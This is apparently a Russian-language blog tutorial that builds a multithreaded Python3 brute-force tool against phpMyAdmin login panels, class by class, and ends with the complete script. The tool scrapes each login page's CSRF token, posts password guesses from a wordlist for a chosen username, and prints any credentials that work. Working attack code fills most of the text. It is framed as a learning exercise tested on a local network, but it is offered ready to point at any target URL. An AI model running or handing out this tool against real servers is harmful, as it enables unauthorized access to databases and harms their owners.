Пишем Bruteforce для панели PHPmyadmin с нуля: работаем, используя Python3
Life-Hack [Жизнь-Взлом]/ХакингДоброго времени суток, коллеги, сегодня мы с вами будем писать небольшую программу для брутфорс атаки на панель авторизации, на замечательном языке Python3.
Мы с вами постараемся придерживаться парадигмы ООП в ее самом простом виде, так как поддержка и расширение функционала даже в маленьком приложении без применения этого может стать весьма затруднительным делом.
Так же буду благодарен любой критике от товарищей, которые озвучат свой взгляд на код в целом и возможно помогут его улучшить, доработать.
Что же такое брутфорс атака? Как говорит нам один известный поисковик - брутфорсом называется метод взлома учетных записей путем перебора паролей к тому моменту, когда не кончится словарь или ключевое слово не будет признано системой, как истинное.
Термин образован от англоязычного словосочетания «brute force», означающего в переводе «грубая сила». Суть подхода заключается в последовательном автоматизированном переборе всех возможных комбинаций символов с целью рано или поздно найти правильную.
Алгоритм действий вкратце получается таким: мы отправлять какие-то данные на сервер, получаем ответ от сервера, проверяем устраивает-ли нас этот ответ и если нет, модифицируем данные и повторно отправляем уже измененные, повторяем до тех пор пока ответ нас не устроит.

Давайте посмотрим какие данные от нас ожидает панель входа PhpMyAdmin. Для этого откроем браузер, перейдем по URL-адресу ведущему нас к форме авторизации, откроем в браузере консоль разработчика и попробуем авторизоваться.

Как можем лицезреть, вход не удался, но зато мы получили важные сведения, а именно какой тип запроса, куда и с какими данными он должен быть направлен.
Честно признаться я понадеялся, что все же в ручном режиме смогу угадать пароль и еще совершил несколько неудачных попыток входа в систему, но заметил что параметр "set_session" и "token" меняются каждую попытку, будем решать и эту задачу и хватит лирических отступлений, пора переходить к делу.
Начинаем писать код
Но перед тем как писать код, вначале создадим виртуальное окружение для удобной работы с нашим проектом, как это сделать я рассказывал в этой статье.
Нам понадобятся следующие библиотеки:
beautifulsoup4==4.9.1 bs4==0.0.1 certifi==2020.6.20 chardet==3.0.4 idna==2.10 lxml==4.5.2 requests==2.24.0 soupsieve==2.0.1 urllib3==1.25.9
Устанавливаем их:
pip3 install requests && pip install bs4 && pip install lxml
Обратите внимание что некоторые библиотеки поддерживаются только в Python3
Для чего они нужны и как мы их будем использовать вы увидите далее.
Теперь нам стоит определиться с архитектурой программы и с тем какие классы будем реализовывать.
- Нужно получить "set_session" и еще некоторые данные, а именно "token" и "server".
- Механизм попытки авторизации.
- Получить аргументы командной строки (параметры такие как "имя пользователя", "url" и "лист паролей") которые введет пользователь нашей программы, дабы облегчить ему использования инструмента.
- Реализовать сам алгоритм перебора паролей.
- Реализуем многопоточность, да GIL, но мы же учимся !
Итого у нас получиться 5 классов:
- TargetData - для получение данных от панели PhpMyAdmin.
- PhpMyAdminAuthorization - с говорящим названием о том что он будет пытаться авторизоваться в PhpMyAdmin.
- UserArgument - который будет работать с пользовательскими данными.
- BruteForceAttack - как не удивительно, класс который будет реализовывать методы для брутфорса.
- Threads - для методов реализации многопоточности.
Затем импортируем библиотеки:
import requests import threading import argparse import time # тут скорее декоративна и не обязательна, но будет интересно посмотреть, с какой скоростью наша программа будет брутить. from bs4 import BeautifulSoup as bs4
Первый раз, первый класс: объявляем класс и так же конструктор, говорим, что на входе этот класс будет принимать некую строковую переменную.
Далее немного библиотеки "requests" в которой говорится, что объект "Session" позволяет сохранять некоторые параметры в запросах и если мы делаем несколько запросов на один и тот же хост, базовое TCP-соединение будет использоваться повторно, что может привести к значительному увеличению производительности. Потом собственно делаем этот самый запрос и получаем исходный код странички куда обращались:
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
Далее добавим классу два метода, которые будут возвращать нам найденные в ранее полученном HTML строки, содержащие в себе "token" и "server".
Это может быть дублирующий себя код, но разделить на два метода я решил потому что:
- Они возвращают разные данные.
- Считаю что один метод, должен делать только что-то одно, если не прав, поправьте в комментариях.
- Только нужные нам значения содержаться в одинаковых атрибутах HTML а может понадобиться и что то другое.
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
весь класс:
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
На этом с первым классом заканчиваем и переходим ко второму, объявляем класс и уже знакомый нам метод конструктора класса который будет принимать три строковых значения, это "url"," user_name" и "user_password".
Наследуем от класса TargetData, дабы получить его свойства и методы и передаем ему значение переменной с говорящим названием "php_my_admin_url":
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
Теперь добавим этому классу сам метод авторизации в панели Phpmyadmin.
Создаем список с параметрами, сервер и токен берем из методов класса "TargetData" от которого мы и наследовались, отправляем данные методом пост и получаем результат, тут все просто:
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
И добавим нашему классу "PhpMyAdminAuthorization" еще один метод, который будет возвращать нам, что же там вернулась в результате попытке авторизации. Этот метод будет возвращать булево значение "True" или "False" в зависимости от того, есть ли в результате авторизации строка "Cannot log in to the MySQL server", если нет, то "True" и "False" во всех остальных случаях.
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
Половина дела уже сделана, но теперь нужно будет морально подготовиться, потому что сейчас мы начнем реализовывать самый большой класс, который будет отвечать за взаимодействия пользователя с программой.
Объявляем класс, снова конструктор и куча методов которые инициализируются в конструкторе. Возможно дальше вы поймете меня, но я считаю, что если пользователь может взаимодействовать с приложением, значит он может и что-то в нем сломать. Поэтому я постарался написать хотя-бы немного проверок для тех аргументов, что будет передавать пользователь, давайте теперь пройдемся по этим методам:
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
Первый метод у нас "add_arguments()" и он очень прост, добавляет аргументы к объекту "настройки пользователя для брутфорса":
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
Следующий метод "check_valid_target_url()" - проверяет является ли указанный пользователем URL-панелью PhpMyAdmin и если нет, заставляет его ввести корректный URL, а затем снова проверяет данные:
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
Далее пытаемся открыть файл пользователя с паролями, если это не удалось - просим указать корректный лист паролей и проверяем его на валидность вновь:
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
Третий способ - это у нас проверка на корректность введенных потоков, если это значение состоит не из одних целых чисел или превышает количество паролей в листе, то просим задать этот параметр по новой:
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
Теперь добавим нашему классу "UserArgument" еще несколько методов, все они возвращают нам те или иные значения:
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
Ух, с этим вроде бы закончили, теперь осталось написать логику самого скприпта и добавить многопоточности.
Объявляем класс "BruteForceAttack" и в конструктор кладем значение которые нам вернут методы из "UserArgument":
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
Затем напишем метод для цикличной попытки авторизации, этот способ принимает на вход два параметра, о них немного позже.
После замеряем время, а затем запускаем цикл, в котором количество итераций будет равно срезу из "self.passwords_list[от - до]".
В цикле создаем экземпляр класса "PhpMyAdminAuthorization" с параметрами, которые мы получили из класса "UserArgument" и если его метод "get_result_authorization()" вернет нам "True", то мы напечатаем найденные логин с паролем, а так же время, которое потребовалось на брут, если нет, то цикл продолжит свою работу:
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
Остался еще последний (почти) штришок - многопоточность. Объявляем класс "Threads" и наследуем от класса "Thread" из библиотеки "Threading".
Опять эти свойства, начало и конец листа, для чего же они нам ? Терпение, скоро все станет понятно:
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
А пока добавим метод "run()", который будет вызывать класс "BruteForceAttack" экземпляр, которого мы создадим уже скоро:
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
По ходу написания статьи я понял, что стоит добавить еще один класс который назвал "StartProgram" с методом "main()".
Вот он:
class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())
def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()
А теперь поговорим о тех самых непонятных переменных "start_of_list" и "end_of_list" из класса "Threads".
В конструкторе класса "StartProgram" мы объявляем две переменные одна из которых является "integer" значением, которое нам возвращает метод "get_number_threads()" класса "UserArgument".
А вторая длинной значения которое возвращает его же метод "get_password_list()"
Дальше в методе "main()" класса "StartProgram" происходит некоторая магия, в цикле создается экземпляр класса Threads с параметрами 0 и количество паролей деленное на количество потоков.
Это работает следующим образом, допустим, что у нас в списке паролей 100 строк и мы запустили программу в 10 потоков, то в первую итерацию цикла метода "main() Threads" будет запущен с аргументами(0,10) во вторую (10,20) и т.д.
Далее в классе "Threads" будет вызван поток для объекта "brute_force_attack". Таким образом в первом потоке будут перебираться пароли с 1 строки по 9, а во втором потоке пароли из списка с 10 по 19 строку и так далее.
Ну и финальный стук по клавиатуре, создаем объекты классов и запускаем программу:
if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()
И по традиции весь код целиком:
import requests
import threading
import argparse
import time
from bs4 import BeautifulSoup as bs4
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())
def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()
if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()
Заключение и тестирование нашей программы
Программу я протестировал на списках паролей следующей длины 10000 паролей, 1000 паролей и 10 паролей в файле. Скорость выполнения в рамках локальной сети вы видите на приведенном ниже скриншоте.

Надеюсь, после прочтения данного материала вы узнали что-то новое для себя, чему-то научились и сами стали чуточку лучше.